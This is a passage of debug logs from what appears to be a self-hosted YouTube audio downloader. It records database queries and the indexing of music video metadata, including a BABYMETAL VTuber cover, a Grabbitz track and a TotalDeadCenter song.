channel:\nhttps://www.youtube.com/c/electriccallboy?sub_confirmation=1\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Merch: https://lnk.to/ElectricCallboy\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n• Instagram: http://instagram.com/electriccallboy\n• X: https://x.com/electriccallboy\n• Facebook: https://www.facebook.com/electriccallboy\n• TikTok: https://www.tiktok.com/@electriccallboy\n• Discord: https://discord.com/invite/electriccallboy\n\nConcept by Schillobros., Electric Callboy and BABYMETAL\n\nProduced and Directed: Schillobros. https://www.instagram.com/schillobros\nDirector of Photography & Colorist: Florian Berwanger\n1st AC & B-Cam Operator: Tim Schuback\nFocus Puller: Jan Schmidt\nTechno Crane Operator: Simon Recker\nGaffer: Christian Mono\nGaffer FX Light: Patrick Unger / 2morrowlights\nKey Grip: Victor Oonk\nGrip: Felix Mangoldt\nGrip: Björn Bruns\nMake-Up Artist: Ella Siou, Aya Watanabe (BABYMETAL)\nAdditional Make-Up: Carolin Claßen\nWardrobe (BABYMETAL): SHOHEI KASHIMA(w inc.)\nBTS & Photos: Christian Ripkens\nSet Builder: Jörg Holderny\nAssistant Set Builder: Florian Slaby\nSFX: FOG fireworks + sfx\nEC Costume: Naja-Marie Baumann\nProp Maker: Kami Zero & Mirjam Piuk\nDrum Tech: Chris Orth\n\nLocation: Studio One2One\nLocation: Pieter Smit\n\nRentals: TDAClair, Spottlight, CineOne\n\nSpecial thanks to RAZER\nhttps://www.razer.com\n\nCAST:\nYusuke Yamasaki \n\nJoel Matzelt\nMelissa Buschmann\nVera Wagner\nEssa Bentayeb\nJohanna Neuland\nThomas Zoder\nBy Graze Agency\n\nLyrics by Kevin Ratajczak, Nico Sallach, Pascal Schillo, Daniel Haniß & MK-METAL.\nMusic by NORiMETAL, Kevin Ratajczak, Nico Sall (truncated) 22:21:13.619 [debug] QUERY OK source="sources" db=0.3ms idle=198.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.619 [debug] QUERY OK source="media_profiles" db=0.1ms idle=197.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.619 [debug] QUERY OK source="media_items" db=0.2ms idle=196.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [149] 22:21:13.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Astrea Colornatura, opera singer and vocal coach sings \"Gimme Chocolate\" by Baby Metal with Vtubers MinikoMew and Shoomimi!\n🌿₊˚ ✧ ━━━━⊱ 𝐋𝐈𝐊𝐄 & 𝐒𝐔𝐁𝐒𝐂𝐑𝐈𝐁𝐄 ⊰━━━━ ✧ ₊˚🌿\n\nNOW AVAILABLE ON ALL STREAMING SERVICES!\nSpotify: https://open.spotify.com/track/1iYaQfElaz9a1k2bWlNMmL?si=64b3ceba1c674607\nApple Music: https://music.apple.com/us/song/gimme-chocolate/6777149599\nBandcamp: https://weebcore.bandcamp.com/track/gimme-chocolate-feat-astrea-colornatura-miniko-mew-shoomimi \n\n\n『 Socials 』\n🌿 https://www.twitch.tv/astreacolornatura/\n🐏 https://twitter.com/astreanatura\n🌿 https://throne.com/astreacolornatura\n🐏 https://www.tiktok.com/@astreacolornatura\n🌿 https://discord.com/invite/zXJFt2PjV2\n\n『 Music 』\nhttps://youtube.com/playlist?list=PLEDRhaRQetlur72yDZesdLdben210pkZo&si=G0GWzScfXkqiau2n\n\n『 Donations 』⇾ https://ko-fi.com/astreacolornatura 💚\n*Donations are non-refundable, so please only tip if it is within your means. Tipping is not necessary to be a welcome part of this community so please never feel like you have to! ‧₊˚\n\n『 Gifts 』⇾ https://throne.com/astreacolornatura 🎁\nyou can purchase gifts for me here! the items i add to my throne wishlist are usually things to improve my stream setup or to fund fan suggested projects! \n\n🎨Art: https://x.com/sznkyuu \n🎬MV: https://x.com/nbshikii\n🎧Mix/Master/Instrumental: @MetalWeebcore \n🎵Vocals/Tuning: \u200E\u2068@AstreaColornatura\u2069\u00A0\n🎶Vocals: @MinikoMew @Shoomimi \n\n───────────── .✦. ────────────\nBusiness Inquiries: astreanatura@gmail.com\n\n\n#vtuber #babymetal #gimmechocolate #vtubersong #vtubercover #vtuberclips #vtuberuprising #operasinger #astreacolornatura #minikomew #shoomimi", "duration" => 232, "filename" => "/downloads/Grift/Grift/2026-06-12【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura[KYm3sSd_4Ts].m4a", "id" => "KYm3sSd_4Ts", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KYm3sSd_4Ts", "playlist_index" => 30, "timestamp" => 1781280005, "title" => "【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura", "upload_date" => "20260612"} 22:21:13.620 [debug] QUERY OK source="sources" db=0.1ms idle=196.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:13.620 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.621 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:00:05Z], 4] 22:21:13.806 [debug] QUERY OK source="media_items" db=184.2ms idle=2.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Astrea Colornatura, opera singer and vocal coach sings \"Gimme Chocolate\" by Baby Metal with Vtubers MinikoMew and Shoomimi!\n🌿₊˚ ✧ ━━━━⊱ 𝐋𝐈𝐊𝐄 & 𝐒𝐔𝐁𝐒𝐂𝐑𝐈𝐁𝐄 ⊰━━━━ ✧ ₊˚🌿\n\nNOW AVAILABLE ON ALL STREAMING SERVICES!\nSpotify: https://open.spotify.com/track/1iYaQfElaz9a1k2bWlNMmL?si=64b3ceba1c674607\nApple Music: https://music.apple.com/us/song/gimme-chocolate/6777149599\nBandcamp: https://weebcore.bandcamp.com/track/gimme-chocolate-feat-astrea-colornatura-miniko-mew-shoomimi \n\n\n『 Socials 』\n🌿 https://www.twitch.tv/astreacolornatura/\n🐏 https://twitter.com/astreanatura\n🌿 https://throne.com/astreacolornatura\n🐏 https://www.tiktok.com/@astreacolornatura\n🌿 https://discord.com/invite/zXJFt2PjV2\n\n『 Music 』\nhttps://youtube.com/playlist?list=PLEDRhaRQetlur72yDZesdLdben210pkZo&si=G0GWzScfXkqiau2n\n\n『 Donations 』⇾ https://ko-fi.com/astreacolornatura 💚\n*Donations are non-refundable, so please only tip if it is within your means. Tipping is not necessary to be a welcome part of this community so please never feel like you have to! ‧₊˚\n\n『 Gifts 』⇾ https://throne.com/astreacolornatura 🎁\nyou can purchase gifts for me here! the items i add to my throne wishlist are usually things to improve my stream setup or to fund fan suggested projects! \n\n🎨Art: https://x.com/sznkyuu \n🎬MV: https://x.com/nbshikii\n🎧Mix/Master/Instrumental: @MetalWeebcore \n🎵Vocals/Tuning: \u200E\u2068@AstreaColornatura\u2069\u00A0\n🎶Vocals: @MinikoMew @Shoomimi \n\n───────────── .✦. ────────────\nBusiness Inquiries: astreanatura@gmail.com\n\n\n#vtuber #babymetal #gimmechocolate #vtubersong #vtubercover #vtuberclips #vtuberuprising #operasinger #astreacolornatura #minikomew #shoomimi", "【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura", "0313c336-f20a-4a45-860a-7bec03aad59b", false, "KYm3sSd_4Ts", 232, false, "https://www.youtube.com/watch?v=KYm3sSd_4Ts", 30, "/downloads/Grift/Grift/2026-06-12【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura[KYm3sSd_4Ts].m4a", false, false, 4, [], 1, ~U[2026-06-12 16:00:05Z], ~U[2026-07-24 02:21:13Z], ~U[2026-07-24 02:21:13Z], "Astrea Colornatura, opera singer and vocal coach sings \"Gimme Chocolate\" by Baby Metal with Vtubers MinikoMew and Shoomimi!\n🌿₊˚ ✧ ━━━━⊱ 𝐋𝐈𝐊𝐄 & 𝐒𝐔𝐁𝐒𝐂𝐑𝐈𝐁𝐄 ⊰━━━━ ✧ ₊˚🌿\n\nNOW AVAILABLE ON ALL STREAMING SERVICES!\nSpotify: https://open.spotify.com/track/1iYaQfElaz9a1k2bWlNMmL?si=64b3ceba1c674607\nApple Music: https://music.apple.com/us/song/gimme-chocolate/6777149599\nBandcamp: https://weebcore.bandcamp.com/track/gimme-chocolate-feat-astrea-colornatura-miniko-mew-shoomimi \n\n\n『 Socials 』\n🌿 https://www.twitch.tv/astreacolornatura/\n🐏 https://twitter.com/astreanatura\n🌿 https://throne.com/astreacolornatura\n🐏 https://www.tiktok.com/@astreacolornatura\n🌿 https://discord.com/invite/zXJFt2PjV2\n\n『 Music 』\nhttps://youtube.com/playlist?list=PLEDRhaRQetlur72yDZesdLdben210pkZo&si=G0GWzScfXkqiau2n\n\n『 Donations 』⇾ https://ko-fi.com/astreacolornatura 💚\n*Donations are non-refundable, so please only tip if it is within your means. Tipping is not necessary to be a welcome part of this community so please never feel like you have to! ‧₊˚\n\n『 Gifts 』⇾ https://throne.com/astreacolornatura 🎁\nyou can purchase gifts for me here! the items i add to my throne wishlist are usually things to improve my stream setup or to fund fan suggested projects! \n\n🎨Art: https://x.com/sznkyuu \n🎬MV: https://x.com/nbshikii\n🎧Mix/Master/Instrumental: @MetalWeebcore \n🎵Vocals/Tuning: \u200E\u2068@AstreaColornatura\u2069\u00A0\n🎶Vocals: @MinikoMew @Shoomimi \n\n───────────── .✦. ────────────\nBusiness Inquiries: astreanatura@gmail.com\n\n\n#vtuber #babymetal #gimmechocolate #vtubersong #vtubercover #vtuberclips #vtuberuprising #operasinger #astreacolornatura #minikomew #shoomimi", "【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura", "KYm3sSd_4Ts", 232, false, "https://www.youtube.com/watch?v=KYm3sSd_4Ts", "/downloads/Grift/Grift/2026-06-12【COVER】GIMME CHOCOLATE - BABY METAL | VTuber Cover by @MinikoMew @Shoomimi @AstreaColornatura[KYm3sSd_4Ts].m4a", false, 4, ~U[2026-06-12 16:00:05Z]] 22:21:13.818 [debug] QUERY OK source="sources" db=11.6ms idle=186.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:13.819 [debug] QUERY OK source="media_profiles" db=0.5ms idle=198.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:13.820 [debug] QUERY OK source="media_items" db=0.5ms idle=198.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [150] 22:21:13.820 [info] Kicking off download for media item #150 (KYm3sSd_4Ts) 22:21:13.822 [debug] Current batch of media processed. Will check again in 1000ms 22:21:14.822 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "❤ Valiant Spotify - http://bit.ly/ValiantPlaylists\n\nStream Grabbitz - Tear Me Open\nhttps://orcd.co/tearmeopen\n\n❤ Grabbitz \nhttps://www.youtube.com/channel/UCWT_gUEdU8aoLUT5aIAoICg\nhttps://www.instagram.com/grabbitz\n\n❤ Artwork by ErikVarts\nhttps://x.com/ErikVarts\nhttps://www.pixiv.net/en/users/72187452\n\nFor issues with attribution regarding our use of art, please send an email to contact@whoisvaliant.com", "duration" => 158, "filename" => "/downloads/Grift/Grift/2026-06-23Grabbitz - Tear Me Open[_qtrr6Ix9yA].m4a", "id" => "_qtrr6Ix9yA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_qtrr6Ix9yA", "playlist_index" => 31, "timestamp" => 1782237614, "title" => "Grabbitz - Tear Me Open", "upload_date" => "20260623"} 22:21:14.823 [debug] QUERY OK source="sources" db=0.2ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:14.823 [debug] QUERY OK source="sources" db=0.1ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:14.824 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-23 18:00:14Z], 4] 22:21:15.058 [debug] QUERY OK source="media_items" db=233.7ms idle=1002.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["❤ Valiant Spotify - http://bit.ly/ValiantPlaylists\n\nStream Grabbitz - Tear Me Open\nhttps://orcd.co/tearmeopen\n\n❤ Grabbitz \nhttps://www.youtube.com/channel/UCWT_gUEdU8aoLUT5aIAoICg\nhttps://www.instagram.com/grabbitz\n\n❤ Artwork by ErikVarts\nhttps://x.com/ErikVarts\nhttps://www.pixiv.net/en/users/72187452\n\nFor issues with attribution regarding our use of art, please send an email to contact@whoisvaliant.com", "Grabbitz - Tear Me Open", "8706a91b-f9f5-46a7-a36e-a9c3ed54cd42", false, "_qtrr6Ix9yA", 158, false, "https://www.youtube.com/watch?v=_qtrr6Ix9yA", 31, "/downloads/Grift/Grift/2026-06-23Grabbitz - Tear Me Open[_qtrr6Ix9yA].m4a", false, false, 4, [], 1, ~U[2026-06-23 18:00:14Z], ~U[2026-07-24 02:21:14Z], ~U[2026-07-24 02:21:14Z], "❤ Valiant Spotify - http://bit.ly/ValiantPlaylists\n\nStream Grabbitz - Tear Me Open\nhttps://orcd.co/tearmeopen\n\n❤ Grabbitz \nhttps://www.youtube.com/channel/UCWT_gUEdU8aoLUT5aIAoICg\nhttps://www.instagram.com/grabbitz\n\n❤ Artwork by ErikVarts\nhttps://x.com/ErikVarts\nhttps://www.pixiv.net/en/users/72187452\n\nFor issues with attribution regarding our use of art, please send an email to contact@whoisvaliant.com", "Grabbitz - Tear Me Open", "_qtrr6Ix9yA", 158, false, "https://www.youtube.com/watch?v=_qtrr6Ix9yA", "/downloads/Grift/Grift/2026-06-23Grabbitz - Tear Me Open[_qtrr6Ix9yA].m4a", false, 4, ~U[2026-06-23 18:00:14Z]] 22:21:15.118 [debug] QUERY OK source="sources" db=59.9ms idle=235.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:15.120 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=295.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:15.121 [debug] QUERY OK source="media_items" db=0.4ms idle=296.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [151] 22:21:15.121 [debug] Current batch of media processed. Will check again in 1000ms 22:21:16.121 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nWitch · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "duration" => 183, "filename" => "/downloads/Grift/Grift/2023-07-09Witch[BZUtiO50IQ8].m4a", "id" => "BZUtiO50IQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BZUtiO50IQ8", "playlist_index" => 32, "timestamp" => 1688897085, "title" => "Witch", "upload_date" => "20230709"} 22:21:16.122 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:21:16.122 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:16.122 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-09 10:04:45Z], 4] 22:21:16.284 [debug] QUERY OK source="media_items" db=160.9ms idle=1001.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nWitch · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Witch", "bea9d647-2d4c-43d1-8202-f061130e1fe7", false, "BZUtiO50IQ8", 183, false, "https://www.youtube.com/watch?v=BZUtiO50IQ8", 32, "/downloads/Grift/Grift/2023-07-09Witch[BZUtiO50IQ8].m4a", false, false, 4, [], 3, ~U[2023-07-09 10:04:45Z], ~U[2026-07-24 02:21:16Z], ~U[2026-07-24 02:21:16Z], "Provided to YouTube by DistroKid\n\nWitch · TotalDeadCenter\n\nBinary Insanity\n\n℗ TDC\n\nReleased on: 2023-07-10\n\nAuto-generated by YouTube.", "Witch", "BZUtiO50IQ8", 183, false, "https://www.youtube.com/watch?v=BZUtiO50IQ8", "/downloads/Grift/Grift/2023-07-09Witch[BZUtiO50IQ8].m4a", false, 4, ~U[2023-07-09 10:04:45Z]] 22:21:16.285 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=163.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:16.286 [debug] QUERY OK source="media_profiles" db=0.4ms idle=163.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:16.287 [debug] QUERY OK source="media_items" db=0.6ms idle=164.1ms SELECT 1 FROM 